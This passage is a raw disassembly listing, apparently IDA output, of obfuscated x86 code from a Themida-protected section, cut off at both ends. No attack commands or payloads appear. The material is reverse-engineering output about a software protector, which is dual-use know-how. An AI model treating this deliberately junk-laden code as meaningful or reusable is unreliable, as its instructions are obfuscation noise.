CODE XREF: Themida_:0055AC0Cj mov [esp], ebx push edx jmp loc_555899 ; --------------------------------------------------------------------------- loc_557CEC: ; CODE XREF: Themida_:00553FC2j pop esp add ebx, 4 sub ebx, 2 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov [esp], ax jmp loc_550A46 ; --------------------------------------------------------------------------- lodsd xor eax, ebx jmp loc_55AD38 ; --------------------------------------------------------------------------- loc_557D16: ; CODE XREF: Themida_:00552759j mov [esp], edx mov dl, 66h mov bl, 8 add bl, dl mov edx, [esp] push esi mov esi, esp jmp loc_559C43 ; --------------------------------------------------------------------------- loc_557D2A: ; CODE XREF: Themida_:0055CB26j sub eax, 7A3A57AFh pop edx push 6134h mov [esp], ecx push edi mov edi, 38B05C02h sub edi, 0BB31F34Ah push eax jmp loc_55BA9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_557D4A: ; CODE XREF: sub_556A70+3767j pop edi sub ebx, eax jmp loc_553101 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- mov cx, [esp] push ebp jmp loc_5557BB ; =============== S U B R O U T I N E ======================================= sub_557D5C proc near ; CODE XREF: sub_556A70+6E4j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055C83A SIZE 00000008 BYTES sub esp, 4 mov [esp+4+var_4], ebx push edx mov edx, 40000h mov ebx, edx push [esp+8+var_8] pop edx push ebx mov ebx, esp add ebx, 4 push ebp mov ebp, 4 jmp loc_55C83A sub_557D5C endp ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_557581 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_557D8B: ; CODE XREF: sub_556A70+4726j push esi mov esi, 3F676AC6h add esi, 1F9A4AF6h jmp loc_557DE5 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_557D9C: ; CODE XREF: Themida_:005589E3j inc eax sub eax, 0D5344B01h mov ecx, eax pop eax jmp loc_552EAD ; --------------------------------------------------------------------------- loc_557DAA: ; CODE XREF: Themida_:005593E4j sub dh, 4Fh jmp loc_55156A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_557DB2: ; CODE XREF: sub_556A70-2099j mov [esp-24h+arg_20], eax push 66D6h mov [esp-20h+arg_1C], esi push 6EE1h mov [esp-1Ch+arg_18], ecx mov ecx, 0BF67025h mov esi, 48DB8433h sub esi, ecx pop ecx xor [esp-20h+arg_20], esi jmp loc_5546CB ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- mov ax, [esp] push esi jmp loc_5528A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_557DE5: ; CODE XREF: sub_556A70+1327j push edi mov edi, 0FA717812h xor esi, edi pop edi sub edi, esi pop esi add edx, edi pop edi jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_557DF9: ; CODE XREF: Themida_:0055CD19j pop ecx push eax mov eax, 49EA4F24h and eax, 605F4590h jmp loc_55CECE ; --------------------------------------------------------------------------- loc_557E0A: ; CODE XREF: Themida_:00552D64j mov cx, [esp] push 4853h mov [esp], esi push esp mov esi, [esp] add esp, 4 push edi mov edi, 18607DE7h sub edi, 18607DE3h add esi, edi pop edi push 6689h mov [esp], eax push esi jmp loc_554956 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_557E3A: ; CODE XREF: sub_556A70-29A8j and eax, esi push [esp+8+var_8] pop esi push esi sub esp, 4 mov [esp+10h+var_10], esp add [esp+10h+var_10], 4 pop esi add esi, 4 add esi, 4 xchg esi, [esp+0Ch+var_C] jmp loc_5545D4 ; --------------------------------------------------------------------------- loc_557E63: ; CODE XREF: sub_556A70-13Ej add ebx, 479E4C50h jmp loc_557295 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_557E6E: ; CODE XREF: Themida_:00553BC5j xor edx, 77081A1Fh sub edx, 0E2900EC0h xor ebx, edx mov edx, [esp] jmp loc_5530CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559F87 loc_557E84: ; CODE XREF: sub_559F87-18D4j push 1CCAh mov [esp+0], edx mov dl, 0EAh push ebx mov bl, 0EEh neg bl shr bl, 7 inc bl add bl, 93h jmp loc_5557AE ; END OF FUNCTION CHUNK FOR sub_559F87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_557EA0: ; CODE XREF: sub_556A70-1808j xor ebx, eax jmp loc_55A9C5 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_557EA7: ; CODE XREF: Themida_:00559765j push esp pop dword ptr [esp] push ebx mov ebx, 4 add [esp+4], ebx jmp loc_557561 ; =============== S U B R O U T I N E ======================================= sub_557EBA proc near ; CODE XREF: sub_5582B3-1E0Ej var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0055A41B SIZE 0000004C BYTES push ebp mov ebp, 79A55250h or ebp, 1B572952h neg ebp add ebp, 0FFFFFFFFh shl ebp, 7 shr ebp, 2 xor ebp, 365FC63Bh sub ebx, ebp pop ebp mov ebp, [esp+0] push ebp push esp jmp loc_55A41B sub_557EBA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_557EE7: ; CODE XREF: sub_556A70-391Bj sub ecx, ebp pop ebp xchg ecx, [esp+4+var_4] pop esp jmp loc_5570F9 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_550E2C loc_557EF3: ; CODE XREF: sub_550E2C+3j mov [esp+4+var_4], esi push 437616D2h pop esi add esi, 2676350Dh not esi jmp loc_557F90 ; END OF FUNCTION CHUNK FOR sub_550E2C ; =============== S U B R O U T I N E ======================================= sub_557F09 proc near ; CODE XREF: sub_5516F8+98FDj var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00551062 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0055550F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0055639E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00559D44 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0055B69F SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0055BFB9 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055C157 SIZE 0000000E BYTES push ebx push 561665CAh pop ebx sub esp, 4 mov [esp+8+var_8], ebp mov ebp, 4A627CC0h shl ebp, 8 xor ebp, 523FC757h and ebx, ebp push [esp+8+var_8] jmp loc_55B69F sub_557F09 endp ; --------------------------------------------------------------------------- loc_557F31: ; CODE XREF: Themida_:00552E1Fj and al, 73h push ecx mov ch, 0E6h jmp loc_551999 ; --------------------------------------------------------------------------- loc_557F3B: ; CODE XREF: Themida_:00554DECj mov ebx, edx mov eax, ebx pop ebx pop edx mov ebx, 43970571h jmp loc_55B6EA ; --------------------------------------------------------------------------- loc_557F4B: ; CODE XREF: Themida_:00558315j pop ebp add eax, 2B4764FDh add eax, ecx jmp loc_554E62 ; --------------------------------------------------------------------------- loc_557F58: ; CODE XREF: Themida_:00556092j push eax mov al, ch jmp loc_55C4A1 ; --------------------------------------------------------------------------- push 2FFAh mov [esp], ebp push ebx mov ebx, 2A9343B6h sub ebx, 0FFFFFFFFh push eax push ebx mov ebx, 0D0518E9h jmp loc_55979D ; --------------------------------------------------------------------------- loc_557F80: ; CODE XREF: Themida_:00558D2Aj mov [esp], edi push esp pop edi add edi, 4 jmp loc_551EAB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_550E2C loc_557F90: ; CODE XREF: sub_550E2C+70D8j shr esi, 2 jmp loc_552E96 ; END OF FUNCTION CHUNK FOR sub_550E2C ; --------------------------------------------------------------------------- loc_557F98: ; CODE XREF: Themida_:005521FCj mov esp, [esp] jmp loc_55951E ; =============== S U B R O U T I N E ======================================= sub_557FA0 proc near ; CODE XREF: sub_556A70+665j ; FUNCTION CHUNK AT 00552BFF SIZE 00000011 BYTES push ebx push 18872C14h pop ebx jmp loc_552BFF sub_557FA0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552B74 loc_557FAC: ; CODE XREF: sub_552B74+282Aj xor [esp+0Ch+var_C], esi jmp loc_55856F ; END OF FUNCTION CHUNK FOR sub_552B74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_557FB4: ; CODE XREF: sub_556A70+7C1j jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55A6CD loc_557FB9: ; CODE XREF: sub_55A6CD-70EAj pop esp push edi push ebp push 28E6F0Ah jmp loc_55991D ; END OF FUNCTION CHUNK FOR sub_55A6CD ; --------------------------------------------------------------------------- loc_557FC6: ; CODE XREF: Themida_:0055AFDDj sub ebx, 0A2A9DE49h add eax, ebx pop ebx xchg eax, [esp] pop esp push ebp mov ebp, 13ABF6B5h jmp loc_55571F ; --------------------------------------------------------------------------- loc_557FDE: ; CODE XREF: Themida_:00554E03j pop edi xchg eax, [esp] mov esp, [esp] xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_558D56 ; --------------------------------------------------------------------------- loc_557FF3: ; CODE XREF: Themida_:005557CEj mov edx, esp push 4C61h mov [esp], ebx mov ebx, 4 jmp loc_55A7FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558007: ; CODE XREF: sub_556A70+3BB1j sub ecx, 4 xchg ecx, [esp+0] mov esp, [esp+0] mov [esp+0], edi mov edi, esp jmp loc_552A62 ; --------------------------------------------------------------------------- loc_55801A: ; CODE XREF: sub_556A70+4DA6j mov [ecx], al mov ecx, [esp+0] jmp loc_55A7E6 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 push eax jmp loc_552A2F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558033: ; CODE XREF: sub_556A70+5CD1j mov ecx, 699E6B59h shl ecx, 6 xor ecx, 4D5A1555h not ecx jmp loc_555BFC ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_558048: ; CODE XREF: Themida_:00552DF9j not ebx xor ebx, 60DB49FFh and ebx, 13793FADh jmp loc_559C82 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55805B: ; CODE XREF: sub_556A70+1FE7j mov edx, 0ED392407h add edx, edi pop edi push ebx mov ebx, 17D35E23h or edx, ebx pop ebx add edx, 72AE2889h jmp loc_559853 ; --------------------------------------------------------------------------- loc_558077: ; CODE XREF: sub_556A70+3DBDj pop esi xchg ecx, [esp-8+arg_4] jmp loc_558C33 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_558080: ; CODE XREF: Themida_:0055326Fj push ebx mov ebx, 0F1DB013Dh jmp loc_55CADE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55808B: ; CODE XREF: sub_556A70-1747j xor ecx, [esp-0Ch+arg_8] xor [esp-0Ch+arg_8], ecx xor ecx, [esp-0Ch+arg_8] jmp loc_552FE2 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_558099: ; CODE XREF: Themida_:0055B31Aj pop ebx pop edi add ebx, 72784B0Ah add ebx, 63B9620Ah add eax, ebx pop ebx add eax, 61A523ACh jmp loc_551EC5 ; --------------------------------------------------------------------------- loc_5580B4: ; CODE XREF: Themida_:0055CE87j add ebx, 4 xchg ebx, [esp] pop esp xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov ax, [esp] push 4BAEh mov [esp], ebp push esp jmp loc_553F28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5580D7: ; CODE XREF: sub_556A70-462Ej add ebp, 7D503D14h jmp loc_555011 ; --------------------------------------------------------------------------- loc_5580E2: ; CODE XREF: sub_556A70-258Fj ; sub_556A70+ADEj ... push dword ptr [edi+24h] mov ecx, [esp-16h+arg_10+2] push eax mov eax, esp jmp loc_55CB0C ; --------------------------------------------------------------------------- loc_5580F0: ; CODE XREF: sub_556A70-28BCj mov esi, ebp jmp loc_554FFF ; --------------------------------------------------------------------------- loc_5580F7: ; CODE XREF: sub_556A70-47CEj pop esp sub esi, 5D3870F7h xchg ebp, esi inc ebp jmp loc_55C785 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_558106: ; CODE XREF: Themida_:00559559j sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp mov [esp], ecx jmp loc_5559A2 ; --------------------------------------------------------------------------- loc_55811E: ; CODE XREF: Themida_:0055BAD1j or ecx, ebp mov ebp, [esp] jmp loc_557A01 ; --------------------------------------------------------------------------- loc_558128: ; CODE XREF: Themida_:00550C36j add al, 79h jmp loc_559EAC ; --------------------------------------------------------------------------- mov eax, [esp] jmp loc_5578CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558137: ; CODE XREF: sub_556A70+53E0j mov esi, edx jmp loc_55733F ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push 0DDh mov [esp], esi mov esi, 522D86C1h jmp loc_550C5F ; --------------------------------------------------------------------------- loc_558153: ; CODE XREF: Themida_:00554EFCj sub esp, 4 mov [esp], ebp push 28h pop ebp push ebp pop edx jmp loc_557C37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_558AE7 loc_558166: ; CODE XREF: sub_558AE7+6j push 35C7h mov [esp+8+var_8], ebx pop esi push esi push eax push 5060h mov [esp+10h+var_10], ebx mov ebx, 38A81CF3h shl ebx, 3 add ebx, 64CE6C1Dh jmp loc_55CF56 ; END OF FUNCTION CHUNK FOR sub_558AE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552B74 loc_55818C: ; CODE XREF: sub_552B74-226j pop ebx dec cl not cl sub esp, 4 mov [esp+8+var_8], eax push ecx jmp loc_550B13 ; END OF FUNCTION CHUNK FOR sub_552B74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5581A0: ; CODE XREF: sub_556A70-1FEj neg ebp or ebp, 3F9F714Eh not ebp add ebp, 49D601CEh jmp loc_55577A ; --------------------------------------------------------------------------- loc_5581B5: ; CODE XREF: sub_556A70+5493j add esp, 4 pop edx pop ecx loc_5581BD: ; CODE XREF: sub_556A70+D74j push 24F4h mov [esp-1Ch+arg_18], edi mov edi, esp push ebx mov ebx, 4 add edi, 30056EE9h add edi, 5BEF6F5Dh add edi, ebx sub edi, 5BEF6F5Dh sub edi, 30056EE9h pop ebx push 30D6h mov [esp-18h+arg_14], ebp jmp loc_5536D3 ; --------------------------------------------------------------------------- loc_5581F5: ; CODE XREF: sub_556A70+5BECj pop eax add ebx, ecx push edx mov edx, 231E628Eh push esi mov esi, 688060E8h jmp loc_551CCB ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_558209: ; CODE XREF: sub_5584F8-2DF4j push 7C5Ch mov [esp+4+var_4], ecx jmp loc_55CF5D ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558216: ; CODE XREF: sub_556A70-5739j xor eax, 56DA6217h add ecx, 73CD47E9h jmp loc_55B8E5 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_558226: ; CODE XREF: Themida_:00554CEFj push edx mov edx, 178F7456h jmp loc_5588BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558231: ; CODE XREF: sub_556A70+283Ej pop ecx jmp loc_555AE4 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_558237: ; CODE XREF: Themida_:0055B8ACj imul cx jmp loc_55A72E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55823F: ; CODE XREF: sub_556A70+4BF6j xor [esp-1Eh+arg_18+2], esi jmp loc_55C6B9 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_558247: ; CODE XREF: Themida_:0055A1ACj push ebx mov ebx, esp push 63D7h mov [esp], eax mov eax, 4 add ebx, eax mov eax, [esp] add esp, 4 push ebp mov ebp, 2 sub ebx, 25055FAEh add ebx, ebp add ebx, 25055FAEh jmp loc_55CEBA ; --------------------------------------------------------------------------- loc_558278: ; CODE XREF: Themida_:0055ACE2j mov [esp], ecx mov ecx, 0AF28F5h sub edx, ecx jmp loc_5583BD ; =============== S U B R O U T I N E ======================================= sub_558287 proc near ; CODE XREF: sub_555903-E1Dj push ebp jmp loc_5576E1 sub_558287 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55828D: ; CODE XREF: sub_556A70+377Dj pop ecx add esp, 4 sub dl, bl mov bx, word ptr [esp-26h+arg_20+2] add esp, 2 add dl, 0C8h add al, dl mov edx, [esp-2Ah+arg_24+2] add esp, 4 push edx mov dh, 43h push ebx mov bl, dh jmp loc_550AA3 ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_5582B3 proc near ; CODE XREF: sub_556A70-173Fj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00553517 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00553BCA SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0055647C SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0055A6DB SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0055C9B2 SIZE 0000000F BYTES sub esp, 4 mov [esp+4+var_4], edx mov edx, 0FE7FA30Bh sub edi, edx pop edx xor eax, edi push dword ptr [esp+0] pop edi push esi push esp jmp loc_553BCA sub_5582B3 endp ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_550BB5 ; --------------------------------------------------------------------------- lodsb xor al, bl sub esp, 4 jmp loc_558C09 ; --------------------------------------------------------------------------- loc_5582FA: ; CODE XREF: Themida_:00552AECj push edi mov edi, 5E9414F1h sub edx, edi pop edi jmp loc_55186D ; --------------------------------------------------------------------------- loc_558308: ; CODE XREF: Themida_:0055395Cj push ebp mov ebp, 427B46C6h mov ecx, 427B46C2h xor ecx, ebp jmp loc_557F4B ; --------------------------------------------------------------------------- lodsd xor eax, ebx push esi push 15Fh mov [esp], eax mov eax, 68E52877h push ecx mov ecx, 4CE83DFBh not ecx jmp loc_55AAAA ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55833F: ; CODE XREF: sub_556A70+1A67j push eax mov eax, 16A27D80h sub edi, eax pop eax add edi, 6F647959h jmp sub_5516F8 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_558353: ; CODE XREF: Themida_:0055A153j mov esi, 722168BAh jmp loc_55960F ; --------------------------------------------------------------------------- loc_55835D: ; CODE XREF: Themida_:005591DBj pop esp mov [esp], eax jmp loc_55843A ; --------------------------------------------------------------------------- loc_558366: ; CODE XREF: Themida_:0055C20Bj mov eax, esp push 3FF7h mov [esp], ecx mov ecx, 4 add eax, ecx jmp loc_55104D ; --------------------------------------------------------------------------- loc_55837C: ; CODE XREF: Themida_:005551DEj push dword ptr [esp] pop ebp push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_55B0F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558391: ; CODE XREF: sub_556A70-502Cj mov [edi+eax*4], dh jmp loc_550B06 ; --------------------------------------------------------------------------- loc_558399: ; CODE XREF: sub_556A70-215Fj mov edx, esp jmp sub_55A704 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_550F53 loc_5583A0: ; CODE XREF: sub_550F53+1D29j xor edi, ebx mov ebx, [esp+0Ch+var_C] jmp loc_557AF1 ; END OF FUNCTION CHUNK FOR sub_550F53 ; --------------------------------------------------------------------------- loc_5583AA: ; CODE XREF: Themida_:00554A89j add esp, 4 sub al, dh pop edx push 1617h mov [esp], ebx jmp loc_553FC7 ; --------------------------------------------------------------------------- loc_5583BD: ; CODE XREF: Themida_:00558282j pop ecx add esi, 77533EBEh jmp loc_55CDF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5583C9: ; CODE XREF: sub_556A70+3307j pop eax jmp loc_550CF4 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5583CF: ; CODE XREF: Themida_:00551C3Ej push eax jmp loc_55B0C1 ; --------------------------------------------------------------------------- loc_5583D5: ; CODE XREF: Themida_:00551E02j pop esp push ebp sub esp, 4 jmp loc_5539EE ; --------------------------------------------------------------------------- loc_5583DF: ; CODE XREF: Themida_:00550A7Aj mov bh, ch mov cx, [esp] add esp, 2 jmp loc_5529B4 ; --------------------------------------------------------------------------- neg dword ptr [esp] pushf jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5583F6: ; CODE XREF: sub_556A70-309Aj pop esp sub esp, 4 mov [esp-20h+arg_1C], ebx mov bh, 0E3h push ax mov al, 0B5h xor bh, al jmp loc_550C49 ; --------------------------------------------------------------------------- loc_55840A: ; CODE XREF: sub_556A70+51C1j add ecx, ebp pop ebp push ecx push [esp-1Eh+arg_1C+2] mov ecx, [esp-1Ah+arg_14+2] jmp loc_556174 ; --------------------------------------------------------------------------- loc_55841A: ; CODE XREF: sub_556A70+3BE1j mov [esp-1Ah+arg_14+2], eax mov eax, 23CC0906h inc eax add eax, 0DC33F6FDh jmp loc_559B0C ; --------------------------------------------------------------------------- loc_55842D: ; CODE XREF: sub_556A70-5BFCj mov ebp, 5BE668E4h add ebp, 0FFFFFFFFh jmp loc_55B131 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55843A: ; CODE XREF: Themida_:00558361j push esp jmp loc_551A26 ; --------------------------------------------------------------------------- loc_558440: ; CODE XREF: Themida_:00559833j pop ebx jmp loc_556E22 ; --------------------------------------------------------------------------- loc_558446: ; CODE XREF: Themida_:005515CAj sub ebp, 0A9489D4Dh add ecx, ebp jmp loc_551749 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ebx push esp mov ebx, [esp] add esp, 4 push ebp mov ebp, 708B57A6h jmp loc_55980A ; --------------------------------------------------------------------------- loc_55846F: ; CODE XREF: Themida_:0055522Ej push ecx not dword ptr [esp] pop ecx xchg ecx, [esp] pop ebx not ebx add ebx, 8450944Ah mov ebp, ebx pop ebx or [edi+1Ch], ebp jmp loc_556160 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_558D0E loc_55848B: ; CODE XREF: sub_558D0E-5D46j pop ebx xor edx, edi pop edi xor ebx, edx pop edx xor ebp, ebx push [esp+4+var_4] pop ebx add esp, 4 jmp loc_55B639 ; END OF FUNCTION CHUNK FOR sub_558D0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5584A3: ; CODE XREF: sub_556A70-489Aj pop ecx sub bl, dl sub esp, 4 mov [esp+0Ch+var_C], edx mov dh, 0CFh sub dh, 87h shr dh, 7 add dh, 24h sub bl, dh pop edx mov edx, [esp+8+var_8] push ebx mov ebx, esp add ebx, 4 jmp loc_55C89E ; --------------------------------------------------------------------------- loc_5584CE: ; CODE XREF: sub_556A70-26B4j xor ecx, 94FEB805h sub edi, ecx pop ecx jmp loc_55833F ; --------------------------------------------------------------------------- loc_5584DC: ; CODE XREF: sub_556A70+71Ej pop ebx add esp, 4 push ax jmp loc_5594D5 ; --------------------------------------------------------------------------- loc_5584EA: ; CODE XREF: sub_556A70+46A5j add esp, 4 push esi mov esi, 0D65D9FB9h jmp loc_5553B7 ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_5584F8 proc near ; CODE XREF: sub_556A70-3E8Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00550A52 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00550AAD SIZE 00000032 BYTES ; FUNCTION CHUNK AT 00550C1A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00550D15 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00550F7E SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005511F6 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00551426 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00551B97 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055205E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00552375 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00552498 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005535CB SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00553B45 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00554BD1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005551E3 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005551F7 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005556F4 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00556238 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00556457 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0055685D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00558209 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005585A5 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00558789 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055897A SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00558C43 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00558DB9 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005591E0 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00559213 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005596E7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055993B SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0055A119 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0055A8D0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055A92B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055B11A SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0055B2BA SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0055B305 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0055B363 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0055B3BE SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0055B43B SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0055B8D9 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0055CA93 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0055CCCB SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0055CF5D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0055CFA6 SIZE 00000015 BYTES sub esp, 4 jmp loc_55205E sub_5584F8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558500: ; CODE XREF: sub_556A70-1059j and ecx, 52FB7985h neg ecx push ebx mov ebx, 0AFB4FA60h jmp loc_558E51 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- lodsd sub esp, 4 jmp loc_5593D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55AE6E loc_55851C: ; CODE XREF: sub_55AE6E-58B4j xor al, dl jmp loc_559AA3 ; END OF FUNCTION CHUNK FOR sub_55AE6E ; --------------------------------------------------------------------------- pop small word ptr [edx] jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55852B: ; CODE XREF: sub_556A70-1DD0j mov bl, 85h shl bl, 3 jmp loc_559CF7 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_558535: ; CODE XREF: Themida_:00559C9Cj pop ecx push ebp jmp loc_556877 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55853C: ; CODE XREF: sub_556A70-4ABFj mov ah, ch mov dl, ah jmp loc_55C890 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_558545: ; CODE XREF: Themida_:0055B8CEj add ecx, esi jmp loc_558819 ; --------------------------------------------------------------------------- mov cx, [esp] push esi jmp loc_55A2E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_558556: ; CODE XREF: sub_556A70+208j mov esi, 24D72869h mov 